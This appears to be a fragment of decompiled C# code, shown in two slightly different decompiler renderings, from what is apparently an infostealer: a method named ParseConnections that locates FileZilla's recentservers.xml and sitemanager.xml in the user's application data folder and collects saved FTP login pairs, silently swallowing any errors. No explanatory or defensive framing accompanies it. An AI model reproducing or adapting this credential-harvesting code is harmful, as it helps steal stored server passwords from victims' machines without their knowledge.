// Token: 0x060002AA RID: 682 RVA: 0x0000BA08 File Offset: 0x00009C08 public static List <LoginPair> ParseConnections() { List <LoginPair> list = new List <LoginPair>(); try { string path = string.Format("{0}\\FileZilla\\recentservers.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); string path2 = string.Format("{0}\\FileZilla\\sitemanager.xml", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); if (File.Exists(path)) { list.AddRange(FileZilla.ParseCredentials(path)); } if (File.Exists(path2)) { list.AddRange(FileZilla.ParseCredentials(path2)); } } catch { } return(list); }
public static List <LoginPair> ParseConnections() { List <LoginPair> loginPairList = new List <LoginPair>(); try { string str1 = string.Format("{0}\\FileZilla\\recentservers.xml", (object)Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); string str2 = string.Format("{0}\\FileZilla\\sitemanager.xml", (object)Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); if (File.Exists(str1)) { loginPairList.AddRange((IEnumerable <LoginPair>)FileZilla.ParseCredentials(str1)); } if (File.Exists(str2)) { loginPairList.AddRange((IEnumerable <LoginPair>)FileZilla.ParseCredentials(str2)); } } catch { } return(loginPairList); }